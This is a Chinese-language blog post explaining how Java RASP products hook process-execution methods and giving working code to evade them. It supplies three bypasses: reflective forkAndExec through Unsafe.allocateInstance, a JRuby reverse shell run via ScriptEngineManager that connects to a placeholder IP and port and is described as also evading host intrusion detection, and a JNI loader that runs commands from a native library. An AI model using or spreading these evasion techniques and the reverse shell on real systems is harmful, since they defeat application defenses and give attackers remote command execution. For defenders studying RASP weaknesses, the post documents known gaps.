Bypass RASP(Java)

RASP简介

Gartner在2014年提出了应用自我保护技术(RASP)的概念,即将防护引擎嵌入到应用内部,不再依赖外部防护设备。RASP防护产品通过hook应用关键函数,从底层监控应用的运行状态,解决基于http请求特征的防护方式容易被攻击者绕过的问题,有效提高应用对攻击的防护能力。

RASP防护机制

在Java语言中,执行系统命令的常规方法主要有两种,即Runtime.getRuntime().exec("command")和new ProcessBuilder("command").start(),其中Runtime.getRuntime().exec("command")的调用栈如下:

forkAndExec:208, UNIXProcess (java.lang)
<init>:247, UNIXProcess (java.lang)
start:134, ProcessImpl (java.lang)
start:1029, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
main:30, ExecTest (exploit)

由调用栈可知,

  • Runtime.exec()实际上也是调用了ProcessBuilder.start()
  • 两者直接或间接调用ProcessImpl.start()以及UNIXProcess.<init>(构造方法)

市面上大多数RASP产品也都是通过Hook ProcessImpl.start()UNIXProcess.<init>这个两个方法来防御RCE类漏洞利用。

How to Bypass RASP?

目前想到两类方法,一类是用通过反射调用命令执行调用栈中更底层的方法,如UNIXProcess类中的forkAndExec方法;另一类是通过Java调用其他语言的API进行系统调用执行命令,如JNI、ScriptEngineManager等,具体细节如下:

  • forkAndExec方法

    由RASP防护机制中的调用栈可知,ProcessImpl.start()方法中创建了UNIXProcess对象,UNIXProcess类构造方法中实际是调用了Native方法forkAndExec()来执行命令。

    如果RASP仅对ProcessImpl.start()做了限制,那么我们可以直接通过反射创建UNIXProcess对象,调用forkAndExec(),若RASP对UNIXProcess.也做了限制,那反射创建UNIXProcess对象就不可行了,因为反射创建对象本质上也是调用其构造方法。那这种情况如何绕过呢?这里有个技巧就是可以通过sun.misc.Unsafe.allocateInstance(Class)来绕过构造方法直接创建UNIXProcess对象,然后反射调用其forkAndExec()方法。

    可直接反射调用forkAndExec()的利用代码如下:

    public static byte[] toCString(String s) {
        if (s == null)
            return null;
        byte[] bytes = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0,
                result, 0,
                bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }
    
    public static InputStream execByForkAndExec(String[] cmdArray) throws Exception {
    
        if (cmdArray != null) {
            Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
            theUnsafeField.setAccessible(true);
            Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
    
            Class processClass = null;
    
            try {
                processClass = Class.forName("java.lang.UNIXProcess");
            } catch (ClassNotFoundException e) {
                processClass = Class.forName("java.lang.ProcessImpl");
            }
    
            Object processObject = unsafe.allocateInstance(processClass);
    
            // Convert arguments to a contiguous block; it's easier to do
            // memory management in Java than in C.
            byte[][] args = new byte[cmdArray.length - 1][];
            int size = args.length; // For added NUL bytes
    
            for (int i = 0; i < args.length; i++) {
                args[i] = cmdArray[i + 1].getBytes();
                size += args[i].length;
            }
    
            byte[] argBlock = new byte[size];
            int i = 0;
    
            for (byte[] arg : args) {
                System.arraycopy(arg, 0, argBlock, i, arg.length);
                i += arg.length + 1;
                // No need to write NUL bytes explicitly
            }
    
            int[] envc = new int[1];
            int[] std_fds = new int[]{-1, -1, -1};
            Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
            Field helperpathField = processClass.getDeclaredField("helperpath");
            launchMechanismField.setAccessible(true);
            helperpathField.setAccessible(true);
            Object launchMechanismObject = launchMechanismField.get(processObject);
            byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
    
            int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
    
            Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
                    byte[].class, int.class, byte[].class, int[].class, boolean.class);
    
            forkMethod.setAccessible(true);
    
            int pid = (int) forkMethod.invoke(processObject, new Object[]{
                    ordinal + 1, helperpathObject, toCString(cmdArray[0]), argBlock, args.length,
                    null, envc[0], null, std_fds, false
            });
    
            Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
            initStreamsMethod.setAccessible(true);
            initStreamsMethod.invoke(processObject, std_fds);
            Method getInputStreamMethod = processClass.getMethod("getInputStream");
            getInputStreamMethod.setAccessible(true);
            InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
            return in;
    
        }
        return null;
    }
    
  • ScriptEngineManager

    JDK 6.0后新增Java脚本引擎,对应的包是javax.script,使 Java 应用程序能够经过一套固定的接口与各类脚本引擎交互。默认情况下,Java 6只支持JavaScript脚本,但是可以通过远程加载其他语言脚本引擎jar包来实现在Java中调用其他脚本语言的目的。

    这里以ruby为例,通过ruby代码进行系统调用执行命令,就绕过了RASP对ProcessImpl.start()UNIXProcess.方法的HOOK监控。前面有提到一点,默认情况下是不支持ruby的,可以先远程加载相关Jar再执行ruby代码

    可直接反弹shell的POC如下(不会额外产生反弹shell的子进程,所以也可以绕过HIDS对Java异常子进程的监控):

    public static void execByJruby(String[] cmdArray) {
        String jrubyReverse = "require 'socket';c=TCPSocket.new(\"IP\",\"PORT\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end";
        if (cmdArray != null){
            ScriptEngineManager manager = new ScriptEngineManager();
            ScriptEngine engine = manager.getEngineByName("jruby");
            try {
                engine.eval(jrubyReverse);
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
    
  • JNI调用

    JNI是Java Native Interface的缩写,它提供了一些API实现了Java和其他语言的通信(主要是C&C++),JDK中自带了很多native方法,前文中提到的forkAndExec()也是其中之一。

    这里的绕过思路是用C/C++实现能执行系统命令的native方法,生成动态链接库,然后在Java代码执行的上下文中加载这个链接库,调用其native方法执行命令。

    攻击POC和编译好的动态连接库如下(加载对应动态连接库和jni.CommandExecution类后调用CommandExecution.exec()):

    public static void main(String[] args) throws Exception {
    
        //真实环境中可先调用java代码根据lib.so生成相关二进制文件
        System.load("lib.so");
        //真实环境中需显式地通过字节码等方式加载CommandExecution类到JVM中
        Class CommandExecution = Class.forName("jni.CommandExecution");
        CommandExecution.getMethod("exec", String.class).invoke(null, ${COMMAND});
    }
    
    //jni.CommandExecution
    public class CommandExecution {
    
        public static native String exec(String cmd);
    
    }
    

Reference

[1] https://javasec.org

posted on 2020-09-28 20:55  Welk1n  阅读(18)  评论(0)    收藏  举报

导航